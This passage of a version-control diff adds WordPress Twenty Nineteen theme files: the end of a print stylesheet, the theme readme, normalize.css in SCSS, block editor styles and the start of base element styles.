+    font: 13pt Georgia, "Times New Roman", Times, serif;
+    line-height: 1.3;
+    background: #fff !important;
+    color: #000;
+  }
+
+  h1 {
+    font-size: 24pt;
+  }
+
+  h2, 
+  h3, 
+  h4, 
+  .has-regular-font-size, 
+  .has-large-font-size, 
+  h2.author-title, 
+  p.author-bio, 
+  .comments-title, h3 {
+    font-size: 14pt;
+    margin-top: 25px;
+  }
+
+  /* Page breaks */
+
+  a {
+    page-break-inside: avoid
+  }
+
+  blockquote {
+    page-break-inside: avoid;
+  }
+
+  h1, 
+  h2, 
+  h3, 
+  h4, 
+  h5, 
+  h6 {
+    page-break-after: avoid;
+    page-break-inside: avoid
+  }
+
+  img {
+    page-break-inside: avoid;
+    page-break-after: avoid;
+  }
+
+  table, pre {
+    page-break-inside: avoid;
+  }
+
+  ul, ol, dl {
+    page-break-before: avoid;
+  }
+
+  /* Links */
+
+  a:link, a:visited, a {
+    background: transparent;
+    font-weight: bold;
+    text-decoration: underline;
+    text-align: left;
+  }
+
+  a {
+    page-break-inside: avoid;
+  }
+
+  a[href^=http]:after {
+    content: " < " attr(href) "> ";
+  }
+
+  a:after > img {
+    content: "";
+  }
+
+  article a[href^="#"]:after {
+    content: "";
+  }
+
+  a:not(:local-link):after {
+    content: " < " attr(href) "> ";
+  }
+
+  /* Visibility */
+  .main-navigation,
+  .site-title + .main-navigation,
+  .social-navigation,
+  .site-branding-container:before, 
+  .entry .entry-title:before, 
+  .entry-footer, 
+  .author-description:before, 
+  .post-navigation,
+  .widget-area,
+  .comment-form-flex,
+  .comment-reply,
+  .comment .comment-metadata .edit-link {
+    display: none;
+  }
+
+  .entry .entry-content .wp-block-button .wp-block-button__link,
+  .entry .entry-content .button {
+    color: #000;
+    background: none;
+  }
+
+  /* Site Header (With Featured Image) */
+  .site-header.featured-image {
+    min-height: 0;
+    
+    .main-navigation a, 
+    .main-navigation a + svg, 
+    .social-navigation a, 
+    .site-title a, 
+    .site-featured-image a,
+    .site-branding .site-title, 
+    .site-branding .site-description, 
+    .main-navigation a:after, 
+    .main-navigation .main-menu > li.menu-item-has-children:after, 
+    .main-navigation li, 
+    .social-navigation li, 
+    .entry-meta, 
+    .entry-title,
+    &#masthead .site-title a {
+      color: #000;
+      text-shadow: none;
+    }
+
+    .site-featured-image .entry-header,
+    .site-branding-container {
+      margin-top: 0;
+      margin-bottom: 0;
+    }
+
+    .site-featured-image .post-thumbnail img {
+      position: relative;
+      height: initial;
+      width: initial;
+      object-fit: none;
+      min-width: 0;
+      min-height: 0;
+      max-width: 100%;
+      margin-top: 1rem;
+    }
+  }
+  
+  /* Remove image filters from featured image */
+  .image-filters-enabled {
+
+    *:after {
+      display: none !important;
+    }
+
+    .site-header.featured-image .site-featured-image:before {
+      display: none;
+    }
+
+    .site-header.featured-image .site-featured-image .post-thumbnail img {
+      filter: none;
+    }
+  }
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/readme.txt
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/readme.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/readme.txt	(revision 56912)
@@ -0,0 +1,34 @@
+=== Twenty Nineteen ===
+Contributors: the WordPress team
+Tags: one-column, flexible-header, accessibility-ready, custom-colors, custom-menu, custom-logo, editor-style, featured-images, footer-widgets, rtl-language-support, sticky-post, threaded-comments, translation-ready
+Requires at least: 4.9.6
+Tested up to: WordPress 5.0
+Stable tag: 1.2
+License: GPLv2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
+
+Our 2019 default theme is designed to show off the power of the block editor.
+
+== Description ==
+Our 2019 default theme is designed to show off the power of the block editor. It features custom styles for all the default blocks, and is built so that what you see in the editor looks like what you'll see on your website. Twenty Nineteen is designed to be adaptable to a wide range of websites, whether you’re running a photo blog, launching a new business, or supporting a non-profit. Featuring ample whitespace and modern sans-serif headlines paired with classic serif body text, it's built to be beautiful on all screen sizes.
+
+== Changelog ==
+
+= 1.2 =
+* Released: January 9, 2019
+
+https://codex.wordpress.org/Twenty_Nineteen_Theme_Changelog#Version_1.2
+
+= 1.1 =
+* Released: December 19, 2018
+
+https://codex.wordpress.org/Twenty_Nineteen_Theme_Changelog#Version_1.1
+
+= 1.0 =
+* Released: December 6, 2018
+
+Initial release
+
+== Resources ==
+* normalize.css, © 2012-2018 Nicolas Gallagher and Jonathan Neal, MIT
+* Underscores, © 2012-2018 Automattic, Inc., GNU GPL v2 or later
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/_normalize.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/_normalize.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/_normalize.scss	(revision 56912)
@@ -0,0 +1,341 @@
+/*! normalize.css v8.0.0 | MIT License | github.com/necolas/normalize.css */
+
+/* Document
+	 ========================================================================== */
+
+/**
+ * 1. Correct the line height in all browsers.
+ * 2. Prevent adjustments of font size after orientation changes in iOS.
+ */
+
+html {
+	line-height: 1.15; /* 1 */
+	-webkit-text-size-adjust: 100%; /* 2 */
+}
+
+/* Sections
+	 ========================================================================== */
+
+/**
+ * Remove the margin in all browsers.
+ */
+
+body {
+	margin: 0;
+}
+
+/**
+ * Correct the font size and margin on `h1` elements within `section` and
+ * `article` contexts in Chrome, Firefox, and Safari.
+ */
+
+h1 {
+	font-size: 2em;
+	margin: 0.67em 0;
+}
+
+/* Grouping content
+	 ========================================================================== */
+
+/**
+ * 1. Add the correct box sizing in Firefox.
+ * 2. Show the overflow in Edge and IE.
+ */
+
+hr {
+	box-sizing: content-box; /* 1 */
+	height: 0; /* 1 */
+	overflow: visible; /* 2 */
+}
+
+/**
+ * 1. Correct the inheritance and scaling of font size in all browsers.
+ * 2. Correct the odd `em` font sizing in all browsers.
+ */
+
+pre {
+	font-family: monospace, monospace; /* 1 */
+	font-size: 1em; /* 2 */
+}
+
+/* Text-level semantics
+	 ========================================================================== */
+
+/**
+ * Remove the gray background on active links in IE 10.
+ */
+
+a {
+	background-color: transparent;
+}
+
+/**
+ * 1. Remove the bottom border in Chrome 57-
+ * 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.
+ */
+
+abbr[title] {
+	border-bottom: none; /* 1 */
+	text-decoration: underline; /* 2 */
+	text-decoration: underline dotted; /* 2 */
+}
+
+/**
+ * Add the correct font weight in Chrome, Edge, and Safari.
+ */
+
+b,
+strong {
+	font-weight: bolder;
+}
+
+/**
+ * 1. Correct the inheritance and scaling of font size in all browsers.
+ * 2. Correct the odd `em` font sizing in all browsers.
+ */
+
+code,
+kbd,
+samp {
+	font-family: monospace, monospace; /* 1 */
+	font-size: 1em; /* 2 */
+}
+
+/**
+ * Add the correct font size in all browsers.
+ */
+
+small {
+	font-size: 80%;
+}
+
+/**
+ * Prevent `sub` and `sup` elements from affecting the line height in
+ * all browsers.
+ */
+
+sub,
+sup {
+	font-size: 75%;
+	line-height: 0;
+	position: relative;
+	vertical-align: baseline;
+}
+
+sub {
+	bottom: -0.25em;
+}
+
+sup {
+	top: -0.5em;
+}
+
+/* Embedded content
+	 ========================================================================== */
+
+/**
+ * Remove the border on images inside links in IE 10.
+ */
+
+img {
+	border-style: none;
+}
+
+/* Forms
+	 ========================================================================== */
+
+/**
+ * 1. Change the font styles in all browsers.
+ * 2. Remove the margin in Firefox and Safari.
+ */
+
+button,
+input,
+optgroup,
+select,
+textarea {
+	font-family: inherit; /* 1 */
+	font-size: 100%; /* 1 */
+	line-height: 1.15; /* 1 */
+	margin: 0; /* 2 */
+}
+
+/**
+ * Show the overflow in IE.
+ * 1. Show the overflow in Edge.
+ */
+
+button,
+input { /* 1 */
+	overflow: visible;
+}
+
+/**
+ * Remove the inheritance of text transform in Edge, Firefox, and IE.
+ * 1. Remove the inheritance of text transform in Firefox.
+ */
+
+button,
+select { /* 1 */
+	text-transform: none;
+}
+
+/**
+ * Correct the inability to style clickable types in iOS and Safari.
+ */
+
+button,
+[type="button"],
+[type="reset"],
+[type="submit"] {
+	-webkit-appearance: button;
+}
+
+/**
+ * Remove the inner border and padding in Firefox.
+ */
+
+button::-moz-focus-inner,
+[type="button"]::-moz-focus-inner,
+[type="reset"]::-moz-focus-inner,
+[type="submit"]::-moz-focus-inner {
+	border-style: none;
+	padding: 0;
+}
+
+/**
+ * Restore the focus styles unset by the previous rule.
+ */
+
+button:-moz-focusring,
+[type="button"]:-moz-focusring,
+[type="reset"]:-moz-focusring,
+[type="submit"]:-moz-focusring {
+	outline: 1px dotted ButtonText;
+}
+
+/**
+ * Correct the padding in Firefox.
+ */
+
+fieldset {
+	padding: 0.35em 0.75em 0.625em;
+}
+
+/**
+ * 1. Correct the text wrapping in Edge and IE.
+ * 2. Correct the color inheritance from `fieldset` elements in IE.
+ * 3. Remove the padding so developers are not caught out when they zero out
+ *		`fieldset` elements in all browsers.
+ */
+
+legend {
+	box-sizing: border-box; /* 1 */
+	color: inherit; /* 2 */
+	display: table; /* 1 */
+	max-width: 100%; /* 1 */
+	padding: 0; /* 3 */
+	white-space: normal; /* 1 */
+}
+
+/**
+ * Add the correct vertical alignment in Chrome, Firefox, and Opera.
+ */
+
+progress {
+	vertical-align: baseline;
+}
+
+/**
+ * Remove the default vertical scrollbar in IE 10+.
+ */
+
+textarea {
+	overflow: auto;
+}
+
+/**
+ * 1. Add the correct box sizing in IE 10.
+ * 2. Remove the padding in IE 10.
+ */
+
+[type="checkbox"],
+[type="radio"] {
+	box-sizing: border-box; /* 1 */
+	padding: 0; /* 2 */
+}
+
+/**
+ * Correct the cursor style of increment and decrement buttons in Chrome.
+ */
+
+[type="number"]::-webkit-inner-spin-button,
+[type="number"]::-webkit-outer-spin-button {
+	height: auto;
+}
+
+/**
+ * 1. Correct the odd appearance in Chrome and Safari.
+ * 2. Correct the outline style in Safari.
+ */
+
+[type="search"] {
+	-webkit-appearance: textfield; /* 1 */
+	outline-offset: -2px; /* 2 */
+}
+
+/**
+ * Remove the inner padding in Chrome and Safari on macOS.
+ */
+
+[type="search"]::-webkit-search-decoration {
+	-webkit-appearance: none;
+}
+
+/**
+ * 1. Correct the inability to style clickable types in iOS and Safari.
+ * 2. Change font properties to `inherit` in Safari.
+ */
+
+::-webkit-file-upload-button {
+	-webkit-appearance: button; /* 1 */
+	font: inherit; /* 2 */
+}
+
+/* Interactive
+	 ========================================================================== */
+
+/*
+ * Add the correct display in Edge, IE 10+, and Firefox.
+ */
+
+details {
+	display: block;
+}
+
+/*
+ * Add the correct display in all browsers.
+ */
+
+summary {
+	display: list-item;
+}
+
+/* Misc
+	 ========================================================================== */
+
+/**
+ * Add the correct display in IE 10+.
+ */
+
+template {
+	display: none;
+}
+
+/**
+ * Add the correct display in IE 10.
+ */
+
+[hidden] {
+	display: none;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/blocks/_blocks.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/blocks/_blocks.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/blocks/_blocks.scss	(revision 56912)
@@ -0,0 +1,922 @@
+/* !Block styles */
+
+.entry .entry-content > *,
+.entry .entry-summary > * {
+	margin: 32px 0;
+	max-width: 100%;
+
+	@include postContentMaxWidth();
+
+	@include media(tablet) {
+		margin: 32px 0;
+	}
+
+	> *:first-child {
+		margin-top: 0;
+	}
+
+	> *:last-child {
+		margin-bottom: 0;
+	}
+
+	&.alignwide {
+		margin-left: auto;
+		margin-right: auto;
+		clear: both;
+
+		@include media(tablet) {
+			width: 100%;
+			max-width: 100%;
+		}
+	}
+
+	&.alignfull {
+		position: relative;
+		left: -#{$size__spacing-unit };
+		width: calc( 100% + (2 * #{$size__spacing-unit}));
+		max-width: calc( 100% + (2 * #{$size__spacing-unit}));
+		clear: both;
+
+		@include media(tablet) {
+			margin-top: calc(2 * #{$size__spacing-unit});
+			margin-bottom: calc(2 * #{$size__spacing-unit});
+			left: calc( -12.5% - 75px );
+			width: calc( 125% + 150px );
+			max-width: calc( 125% + 150px );
+		}
+	}
+
+	&.alignleft {
+		/*rtl:ignore*/
+		float: left;
+		max-width: calc(5 * (100vw / 12));
+		margin-top: 0;
+		margin-left: 0;
+		/*rtl:ignore*/
+		margin-right: $size__spacing-unit;
+
+		@include media(tablet) {
+			max-width: calc(4 * (100vw / 12));
+			/*rtl:ignore*/
+			margin-right: calc(2 * #{$size__spacing-unit});
+		}
+	}
+
+	&.alignright {
+		/*rtl:ignore*/
+		float: right;
+		max-width: calc(5 * (100vw / 12));
+		margin-top: 0;
+		margin-right: 0;
+		/*rtl:ignore*/
+		margin-left: $size__spacing-unit;
+
+		@include media(tablet) {
+			max-width: calc(4 * (100vw / 12));
+			margin-right: 0;
+			/*rtl:ignore*/
+			margin-left: calc(2 * #{$size__spacing-unit});
+		}
+	}
+	&.aligncenter {
+		margin-left: auto;
+		margin-right: auto;
+
+		@include postContentMaxWidth();
+
+		@include media(tablet) {
+			margin-left: 0;
+			margin-right: 0;
+		}
+	}
+}
+
+/*
+ * Unset nested content selector styles
+ * - Prevents layout styles from cascading too deeply
+ * - helps with plugin compatibility
+ */
+.entry .entry-content,
+.entry .entry-summary {
+
+	.entry-content,
+	.entry-summary,
+	.entry {
+		margin: inherit;
+		max-width: inherit;
+		padding: inherit;
+
+		@include media(tablet) {
+			margin: inherit;
+			max-width: inherit;
+			padding: inherit;
+		}
+	}
+}
+
+.entry .entry-content {
+
+	//! Paragraphs
+	p.has-background {
+		padding: 20px 30px;
+	}
+
+	//! Audio
+	.wp-block-audio {
+
+		width: 100%;
+
+		audio {
+			width: 100%;
+		}
+
+		&.alignleft audio,
+		&.alignright audio {
+
+			max-width: (0.33 * $mobile_width);
+
+			@include media(tablet) {
+				max-width: (0.5 * $tablet_width);
+			}
+
+			@include media(wide) {
+				max-width: (0.33 * $desktop_width);
+			}
+		}
+	}
+
+	//! Video
+	.wp-block-video {
+
+		video {
+			width: 100%;
+		}
+	}
+
+	//! Button
+	.wp-block-button {
+
+		.wp-block-button__link {
+			@include button-transition;
+			border: none;
+			font-size: $font__size-sm;
+			font-family: $font__heading;
+			line-height: $font__line-height-heading;
+			box-sizing: border-box;
+			font-weight: bold;
+			text-decoration: none;
+			padding: ($size__spacing-unit * .76) $size__spacing-unit;
+			outline: none;
+			outline: none;
+
+			&:not(.has-background) {
+				background-color: $color__background-button;
+			}
+
+			&:not(.has-text-color) {
+				color: white;
+			}
+
+			&:hover {
+				color: white;
+				background: $color__background-button-hover;
+				cursor: pointer;
+			}
+
+			&:focus {
+				color: white;
+				background: $color__background-button-hover;
+				outline: thin dotted;
+				outline-offset: -4px;
+			}
+		}
+
+		&:not(.is-style-squared) .wp-block-button__link {
+			border-radius: 5px;
+		}
+
+		&.is-style-outline .wp-block-button__link,
+		&.is-style-outline .wp-block-button__link:focus,
+		&.is-style-outline .wp-block-button__link:active {
+			@include button-all-transition;
+			border-width: 2px;
+			border-style: solid;
+
+			&:not(.has-background) {
+				background: transparent;
+			}
+
+			&:not(.has-text-color) {
+				color: $color__background-button;
+				border-color: currentColor;
+			}
+		}
+
+		&.is-style-outline .wp-block-button__link:hover {
+			color: white;
+			border-color: $color__background-button-hover;
+			&:not(.has-background) {
+				color: $color__background-button-hover;
+			}
+		}
+	}
+
+	//! Latest posts, categories, archives
+	.wp-block-archives,
+	.wp-block-categories,
+	.wp-block-latest-posts {
+		padding: 0;
+		list-style: none;
+
+		li {
+			color: $color__text-light;
+			font-family: $font__heading;
+			font-size: calc(#{$font__size_base} * #{$font__size-ratio});
+			font-weight: bold;
+			line-height: $font__line-height-heading;
+			padding-bottom: ( .75 * $size__spacing-unit );
+
+			&.menu-item-has-children,
+			&:last-child {
+				padding-bottom: 0;
+			}
+
+			a {
+				text-decoration: none;
+			}
+		}
+	}
+
+	.wp-block-archives,
+	.wp-block-categories {
+
+		&.aligncenter {
+			text-align: center;
+		}
+	}
+
+	//! Latest categories
+	.wp-block-categories {
+
+		ul {
+			padding-top: ( .75 * $size__spacing-unit );
+		}
+
+		li ul {
+			list-style: none;
+			padding-left: 0;
+		}
+
+		@include nestedSubMenuPadding();
+	}
+
+	//! Latest posts grid view
+	.wp-block-latest-posts.is-grid {
+		li {
+			border-top: 2px solid $color__border;
+			padding-top: (1 * $size__spacing-unit);
+			margin-bottom: (2 * $size__spacing-unit);
+			a {
+				&:after {
+					content: '';
+				}
+			}
+			&:last-child {
+				margin-bottom: auto;
+				a:after {
+					content: '';
+				}
+			}
+		}
+	}
+
+	//! Latest preformatted text
+	.wp-block-preformatted {
+		font-size: $font__size-xs;
+		line-height: 1.8;
+		padding: $size__spacing-unit;
+	}
+
+	//! Verse
+	.wp-block-verse {
+		font-family: $font__body;
+		font-size: $font__size_base;
+		line-height: 1.8;
+	}
+
+	//! Paragraphs
+	.has-drop-cap {
+		&:not(:focus):first-letter {
+			font-family: $font__heading;
+			font-size: $font__size-xxxl;
+			line-height: 1;
+			font-weight: bold;
+			margin: 0 0.25em 0 0;
+		}
+	}
+
+	//! Pullquote
+	.wp-block-pullquote {
+		border-color: transparent;
+		border-width: 2px;
+		padding: $size__spacing-unit;
+
+		blockquote {
+			color: $color__text-main;
+			border: none;
+			margin-top: calc(4 * #{ $size__spacing-unit});
+			margin-bottom: calc(4.33 * #{ $size__spacing-unit});
+			margin-right: 0;
+			padding-left: 0;
+		}
+
+		p {
+			font-size: $font__size-lg;
+			font-style: italic;
+			line-height: 1.3;
+			margin-bottom: 0.5em;
+			margin-top: 0.5em;
+
+			em {
+				font-style: normal;
+			}
+
+			@include media(tablet) {
+				font-size: $font__size-xl;
+			}
+		}
+
+		cite {
+			display: inline-block;
+			font-family: $font__heading;
+			line-height: 1.6;
+			text-transform: none;
+			color: $color__text-light;
+
+			/*
+			 * This requires a rem-based font size calculation instead of our normal em-based one,
+			 * because the cite tag sometimes gets wrapped in a p tag. This is equivalent to $font-size_xs.
+			 */
+			font-size: calc(1rem / (1.25 * #{$font__size-ratio}));
+		}
+
+		&.alignleft,
+		&.alignright {
+			width: 100%;
+			padding: 0;
+
+			blockquote {
+				margin: $size__spacing-unit 0;
+				padding: 0;
+				text-align: left;
+				max-width: 100%;
+
+				p:first-child {
+					margin-top: 0;
+				}
+			}
+		}
+
+		&.is-style-solid-color {
+			background-color: $color__link;
+			padding-left: 0;
+			padding-right: 0;
+
+			@include media(tablet) {
+				padding-left: 10%;
+				padding-right: 10%;
+			}
+
+			p {
+				font-size: $font__size-lg;
+				line-height: 1.3;
+				margin-bottom: 0.5em;
+				margin-top: 0.5em;
+
+				@include media(tablet) {
+					font-size: $font__size-xl;
+				}
+			}
+
+			a {
+				color: $color__background-body;
+			}
+
+			cite {
+				color: inherit;
+			}
+
+			blockquote {
+				max-width: 100%;
+				color: $color__background-body;
+				padding-left: 0;
+				margin-left: $size__spacing-unit;
+				margin-right: $size__spacing-unit;
+
+				&.has-text-color p,
+				&.has-text-color a,
+				&.has-primary-color,
+				&.has-secondary-color,
+				&.has-dark-gray-color,
+				&.has-light-gray-color,
+				&.has-white-color {
+					color: inherit;
+				}
+
+				@include media(tablet) {
+					margin-left: 0;
+					margin-right: 0;
+				}
+			}
+
+			&.alignright,
+			&.alignleft {
+
+				@include media(tablet) {
+					padding: $size__spacing-unit calc(2 * #{$size__spacing-unit});
+				}
+			}
+
+			&.alignfull {
+
+				@include media(tablet) {
+					padding-left: calc(10% + 58px + (2 * #{$size__spacing-unit}));
+					padding-right: calc(10% + 58px + (2 * #{$size__spacing-unit}));
+				}
+			}
+		}
+	}
+
+	//! Blockquote
+	.wp-block-quote {
+
+		&:not(.is-large),
+		&:not(.is-style-large) {
+			border-left: 2px solid $color__link;
+			padding-top: 0;
+			padding-bottom: 0;
+		}
+
+		p {
+			font-size: 1em;
+			font-style: normal;
+			line-height: 1.8;
+		}
+
+		cite {
+			/*
+			 * This requires a rem-based font size calculation instead of our normal em-based one,
+			 * because the cite tag sometimes gets wrapped in a p tag. This is equivalent to $font-size_xs.
+			 */
+			font-size: calc(1rem / (1.25 * #{$font__size-ratio}));
+		}
+
+		&.is-large,
+		&.is-style-large {
+			margin: $size__spacing-unit 0;
+			padding: 0;
+			border-left: none;
+
+			p {
+				font-size: $font__size-lg;
+				line-height: 1.4;
+				font-style: italic;
+			}
+
+			cite,
+			footer {
+				/*
+				 * This requires a rem-based font size calculation instead of our normal em-based one,
+				 * because the cite tag sometimes gets wrapped in a p tag. This is equivalent to $font-size_xs.
+				 */
+				font-size: calc(1rem / (1.25 * #{$font__size-ratio}));
+			}
+
+			@include media(tablet) {
+				margin: $size__spacing-unit 0;
+				padding: $size__spacing-unit 0;
+
+				p {
+					font-size: $font__size-lg;
+				}
+			}
+		}
+	}
+
+	//! Image
+	.wp-block-image {
+		max-width: 100%;
+
+		img {
+			display: block;
+		}
+
+		.aligncenter {
+			
+			@include postContentMaxWidth();
+
+			@include media(tablet) {
+				margin: 0;
+				width: $size__site-tablet-content;
+
+				img {
+					margin: 0 auto;
+				}
+			}
+
+			@include media(desktop) {
+				width: $size__site-desktop-content;
+
+				img {
+					margin: 0 auto;
+				}
+			}
+		}
+
+		&.alignfull img {
+			width: 100vw;
+			max-width: calc( 100% + (2 * #{$size__spacing-unit}));
+
+			@include media(tablet) {
+				max-width: calc( 125% + 150px );
+				margin-left: auto;
+				margin-right: auto;
+			}
+		}
+	}
+
+	//! Cover Image
+	.wp-block-cover-image,
+	.wp-block-cover {
+		position: relative;
+		min-height: 430px;
+		padding: $size__spacing-unit;
+
+		@include media(tablet) {
+			padding: $size__spacing-unit 10%;
+		}
+
+		.wp-block-cover-image-text,
+		.wp-block-cover-text,
+		h2 {
+			font-family: $font__heading;
+			font-size: $font__size-lg;
+			font-weight: bold;
+			line-height: 1.25;
+			padding: 0;
+			color: #fff;
+
+			@include media(tablet) {
+				font-size: $font__size-xl;
+				max-width: 100%;
+			}
+		}
+
+		&.alignleft,
+		&.alignright {
+			width: 100%;
+
+			@include media(tablet) {
+				padding: $size__spacing-unit calc(2 * #{$size__spacing-unit});
+			}
+		}
+
+		&.alignfull {
+
+			.wp-block-cover-image-text,
+			.wp-block-cover-text,
+			h2 {
+				@include postContentMaxWidth();
+			}
+
+			@include media(tablet) {
+				padding-left: calc(10% + 58px + (2 * #{$size__spacing-unit}));
+				padding-right: calc(10% + 58px + (2 * #{$size__spacing-unit}));
+
+				.wp-block-cover-image-text,
+				.wp-block-cover-text,
+				h2 {
+					padding: 0;
+				}
+			}
+		}
+	}
+
+	//! Galleries
+	.wp-block-gallery {
+		list-style-type: none;
+		padding-left: 0;
+
+		.blocks-gallery-image:last-child,
+		.blocks-gallery-item:last-child {
+			margin-bottom: 16px;
+		}
+
+		figcaption a {
+			color: #fff;
+		}
+	}
+
+	//! Captions
+	.wp-block-audio figcaption,
+	.wp-block-video figcaption,
+	.wp-block-image figcaption,
+	.wp-block-gallery .blocks-gallery-image figcaption,
+	.wp-block-gallery .blocks-gallery-item figcaption {
+		font-size: $font__size-xs;
+		font-family: $font__heading;
+		line-height: $font__line-height-pre;
+		margin: 0;
+		padding: ( $size__spacing-unit * .5 );
+		text-align: center;
+	}
+
+	//! Separator
+	.wp-block-separator,
+	hr {
+		background-color: $color__text-light;
+		border: 0;
+		height: 2px;
+		margin-bottom: (2 * $size__spacing-unit);
+		margin-top: (2 * $size__spacing-unit);
+		max-width: 2.25em;
+		text-align: left;
+
+		&.is-style-wide {
+			max-width: 100%;
+			@include postContentMaxWidth();
+		}
+
+		&.is-style-dots {
+			max-width: 100%;
+			@include postContentMaxWidth();
+			background-color: inherit;
+			border: inherit;
+			height: inherit;
+			text-align: center;
+
+			&:before {
+				color: $color__text-light;
+				font-size: $font__size-lg;
+				letter-spacing: $font__size-sm;
+				padding-left: $font__size-sm;
+			}
+		}
+
+		/* Remove duplicate rule-line when a separator
+		 * is followed by an H1, or H2 */
+		& + h1,
+		& + h2 {
+
+			&:before {
+				display: none;
+			}
+		}
+	}
+
+	//! Twitter Embed
+	.wp-block-embed-twitter {
+		word-break: break-word;
+	}
+
+	//! Table
+	.wp-block-table {
+
+		th,
+		td {
+			border-color: $color__text-light;
+		}
+	}
+
+	//! File
+	.wp-block-file {
+		font-family: $font__heading;
+
+		.wp-block-file__button {
+			display: table;
+			@include button-transition;
+			border: none;
+			border-radius: 5px;
+			background: $color__background-button;
+			font-size: $font__size-base;
+			font-family: $font__heading;
+			line-height: $font__line-height-heading;
+			text-decoration: none;
+			font-weight: bold;
+			padding: ($size__spacing-unit * .75) $size__spacing-unit;
+			color: #fff;
+			margin-left: 0;
+			margin-top: calc(0.75 * #{$size__spacing-unit});
+
+			@include media(desktop) {
+				font-size: $font__size-base;
+				padding: ($size__spacing-unit * .875) ($size__spacing-unit * 1.5);
+			}
+
+			&:hover {
+				background: $color__background-button-hover;
+				cursor: pointer;
+			}
+
+			&:focus {
+				background: $color__background-button-hover;
+				outline: thin dotted;
+				outline-offset: -4px;
+			}
+		}
+	}
+
+	//! Code
+	.wp-block-code {
+		border-radius: 0;
+
+		code {
+			font-size: $font__size-md;
+			white-space: pre-wrap;
+    	                word-break: break-word;
+		}
+	}
+
+	//! Columns
+	.wp-block-columns {
+
+		&.alignfull {
+			padding-left: $size__spacing-unit;
+			padding-right: $size__spacing-unit;
+		}
+
+		@include media(mobile) {
+			flex-wrap: nowrap;
+		}
+
+		@include media(tablet) {
+			.wp-block-column > * {
+
+				&:first-child {
+					margin-top: 0;
+				}
+
+				&:last-child {
+					margin-bottom: 0;
+				}
+			}
+
+			&[class*='has-'] > * {
+				margin-right: $size__spacing-unit;
+
+				&:last-child {
+					margin-right: 0;
+				}
+			}
+
+			&.alignfull,
+			&.alignfull .wp-block-column {
+				padding-left: calc(2 * #{$size__spacing-unit});
+				padding-right: calc(2 * #{$size__spacing-unit});
+			}
+		}
+	}
+
+	//! Latest Comments
+	.wp-block-latest-comments {
+
+		.wp-block-latest-comments__comment-meta {
+			font-family: $font__heading;
+			font-weight: bold;
+
+			.wp-block-latest-comments__comment-date {
+				font-weight: normal;
+			}
+		}
+
+		.wp-block-latest-comments__comment,
+		.wp-block-latest-comments__comment-date,
+		.wp-block-latest-comments__comment-excerpt p {
+			font-size: inherit;
+		}
+
+		&.has-avatars {
+
+		}
+
+		&.has-dates {
+
+			.wp-block-latest-comments__comment-date {
+				font-size: $font__size-xs;
+			}
+		}
+
+		&.has-excerpts {
+
+		}
+	}
+
+	//! Font Sizes
+	.has-small-font-size {
+		font-size: $font__size-sm;
+	}
+
+	.has-normal-font-size {
+		font-size: $font__size-md;
+	}
+
+	.has-large-font-size {
+		font-size: $font__size-lg;
+	}
+
+	.has-huge-font-size {
+		font-size: $font__size-xl;
+	}
+
+	//! Custom background colors
+	.has-primary-background-color,
+	.has-secondary-background-color,
+	.has-dark-gray-background-color,
+	.has-light-gray-background-color {
+
+		// Use white text against these backgrounds by default.
+		color: $color__background-body;
+
+		p,
+		h1,
+		h2,
+		h3,
+		h4,
+		h5,
+		h6,
+		a {
+			color: $color__background-body;
+		}
+	}
+
+	.has-white-background-color {
+		color: $color__text-main;
+
+		// Use dark gray text against this background by default.
+		p,
+		h1,
+		h2,
+		h3,
+		h4,
+		h5,
+		h6,
+		a {
+			color: $color__text-main;
+		}
+	}
+
+	.has-primary-background-color,
+	.wp-block-pullquote.is-style-solid-color.has-primary-background-color {
+		background-color: $color__link;
+	}
+
+	.has-secondary-background-color,
+	.wp-block-pullquote.is-style-solid-color.has-secondary-background-color {
+		background-color: $color__border-link-hover;
+	}
+
+	.has-dark-gray-background-color,
+	.wp-block-pullquote.is-style-solid-color.has-dark-gray-background-color {
+		background-color: $color__text-main;
+	}
+
+	.has-light-gray-background-color,
+	.wp-block-pullquote.is-style-solid-color.has-light-gray-background-color {
+		background-color: $color__text-light;
+	}
+
+	.has-white-background-color,
+	.wp-block-pullquote.is-style-solid-color.has-white-background-color {
+		background-color: #FFF;
+	}
+
+	//! Custom foreground colors
+	.has-primary-color,
+	.wp-block-pullquote.is-style-solid-color blockquote.has-primary-color,
+	.wp-block-pullquote.is-style-solid-color blockquote.has-primary-color p {
+		color: $color__link;
+	}
+
+	.has-secondary-color,
+	.wp-block-pullquote.is-style-solid-color blockquote.has-secondary-color,
+	.wp-block-pullquote.is-style-solid-color blockquote.has-secondary-color p {
+		color: $color__border-link-hover;
+	}
+
+	.has-dark-gray-color,
+	.wp-block-pullquote.is-style-solid-color blockquote.has-dark-gray-color,
+	.wp-block-pullquote.is-style-solid-color blockquote.has-dark-gray-color p {
+		color: $color__text-main;
+	}
+
+	.has-light-gray-color,
+	.wp-block-pullquote.is-style-solid-color blockquote.has-light-gray-color,
+	.wp-block-pullquote.is-style-solid-color blockquote.has-light-gray-color p {
+		color: $color__text-light;
+	}
+
+	.has-white-color,
+	.wp-block-pullquote.is-style-solid-color blockquote.has-white-color {
+		color: #FFF;
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/elements/_elements.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/elements/_elements.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/sass/elements/_elements.scss	(revision 56912)
@@ -0,0 +1,92 @@
+html {
+	box-sizing: border-box;
+}
+
+::-moz-selection {
+	background-color: $color__background_selection;
+}
+
+::selection {
+	background-color: $color__background_selection;
+}
+
+*,
+*:before,
+*:after {
+	box-sizing: inherit;
+}
+
+body {
+	background-color: $color__background-body;
+}
+
+a {
+	@include link-transition;
+	color: $color__link;
+}
+
+a:visited {
+
+}
+
+a:hover,
+a:active {
+	color: $color__link-hover;
+	outline: 0;
+	text-decoration: none;
+}
+
